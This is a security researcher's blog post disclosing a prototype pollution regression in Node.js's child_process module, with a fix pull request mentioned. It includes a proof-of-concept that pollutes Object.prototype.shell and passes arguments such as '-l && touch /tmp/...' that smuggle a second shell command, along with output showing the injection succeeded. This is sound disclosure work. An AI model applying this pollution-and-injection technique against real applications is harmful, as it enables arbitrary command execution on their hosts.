Uncovering a Prototype Pollution Regression in the Core Node.js Project

As a Node.js developer and security researcher, I recently stumbled upon an interesting security regression in the Node.js core project related to prototype pollution.

This happened to be found while I was conducting an independent security research for my Node.js Secure Coding books and yet the discovery highlights the complex nature of security in open-source projects and the challenges of maintaining consistent security measures across a large codebase. Even at the scale of a project like Node.js, regressions can occur, potentially leaving parts of the codebase vulnerable to attack.

The Discovery: A Trip Down Prototype Lane

Back in 2018, I opened a Pull Request to address a potential prototype pollution vulnerability in the child_process module. The PR aimed to fix shallow object checks like if (options.shell), which could be susceptible to prototype pollution attacks. However, the Node.js core team and Technical Steering Committee (TSC) decided not to land the PR at the time due to concerns that such a change would then merit bigger API changes in other core modules. As such, an agreement could not be reached to guard against prototype pollution in the child_process module.

Fast forward to July 2023 with a similar change that did get merged through a Pull Request to harden against prototype pollution for child_process. This got me thinking: has the issue been fully resolved, or are there still lingering vulnerabilities?

Node.js Core Regression of Inconsistent Prototype Hardening

To investigate, I set up a simple proof-of-concept to test various child_process functions. Here’s what I found:

const { execFile, spawn, spawnSync, execFileSync } = require("child_process");

// Simulate a successful prototype attack impact:
const a = {};
a.__proto__.shell = true;

console.log("Object.shell value:", Object.shell, "\n");

// Test various child_process functions:
execFile("ls", ["-l && touch /tmp/from-ExecFile"], {
  stdio: "inherit",
});

spawn("ls", ["-la && touch /tmp/from-Spawn"], {
  stdio: "inherit",
});

execFileSync("ls", ["-l && touch /tmp/from-ExecFileSync"], {
  stdio: "inherit",
});

spawnSync("ls", ["-la && touch /tmp/from-SpawnSync"], {
  stdio: "inherit",
});

Running the above code snippet in a Node.js environment yields the following output:

$ node app.js
Object.shell value: true

[...]

$ ls -alh /tmp/from*
Permissions Size User     Date Modified Name
.rw-r--r--     0 lirantal  4 Jul 14:14   /tmp/from-ExecFileSync
.rw-r--r--     0 lirantal  4 Jul 14:14   /tmp/from-Spawn
.rw-r--r--     0 lirantal  4 Jul 14:14   /tmp/from-SpawnSync

The results are surprising:

• execFile() and spawn() were properly hardened against prototype pollution.
• However, execFileSync(), spawnSync(), and spawn() (when provided with an options object) were still vulnerable.

This inconsistency means that while some parts of the child_process module are protected, others remain exposed to potential prototype pollution attacks.

The detailed expected vs actual results are as follows:

Expectation

• Per the spawn() API documentation, spawn() should default to shell: false. Similarly, execFile() follows the same.
• Per the referenced prototype pollution hardening Pull Request from 2023, the following simulated attack shouldn’t work: Object.prototype.shell = true; child_process.spawn('ls', ['-l && touch /tmp/new'])

Actual

• Object.prototype.shell = true; child_process.execFile('ls', ['-l && touch /tmp/new']) - ✅ No side effects, hardening works well.
• Object.prototype.shell = true; child_process.spawn('ls', ['-l && touch /tmp/new']) - ✅ No side effects, hardening works well.
• Object.prototype.shell = true; child_process.execFile('ls', ['-l && touch /tmp/new'], { stdio: 'inherit'}) - ✅ No side effects, hardening works well.
• Object.prototype.shell = true; child_process.spawn('ls', ['-l && touch /tmp/new'], { stdio: 'inherit'}) - ❌ Vulnerability manifests, hardening fails.

The Security Implications

Now, you might be wondering: “Is this a critical security vulnerability in Node.js?” The answer is not as straightforward as you might think.

According to the Node.js Security Threat Model:

Prototype Pollution Attacks (CWE-1321) Node.js trusts the inputs provided to it by application code. It is up to the application to sanitize appropriately. Therefore any scenario that requires control over user input is not considered a vulnerability.

In other words, while this regression does introduce a security risk, it’s not officially classified as a vulnerability in the Node.js core project. The reasoning behind this is that Node.js expects developers to handle input sanitization in their applications.

What This Means for Node.js Developers

As a Node.js developer, this finding underscores a few important points:

1. Always validate and sanitize user input: Don’t rely solely on Node.js core protections. Implement robust input validation in your applications.
2. Stay updated: Keep an eye on Node.js releases and security advisories. Node.js security releases are a regular occurrence, and it’s essential to stay informed about potential vulnerabilities.
3. Understand the security model: Familiarize yourself with the Node.js Security Threat Model to better understand what protections are (and aren’t) provided by the core project.

Moving Forward: Addressing the Regression

While this issue may not be classified as an official security vulnerability (and did not warrant a CVE), it’s still a bug that needs addressing.

I’ve opened a Pull Request to the Node.js core project to address this inconsistency in the child_process module. The PR aims to ensure that the remaining vulnerable functions in the child_process module are consistently hardened against prototype pollution attacks.

Conclusion

This discovery serves as a reminder that security is an ongoing process, even in well-established projects like Node.js. Another interesting aspect here in terms of data analysis is how long this security regression has been present in the Node.js core project without anyone pointing it out. It’s a testament to the complexity of maintaining security across a large codebase and the challenges of ensuring consistent security measures.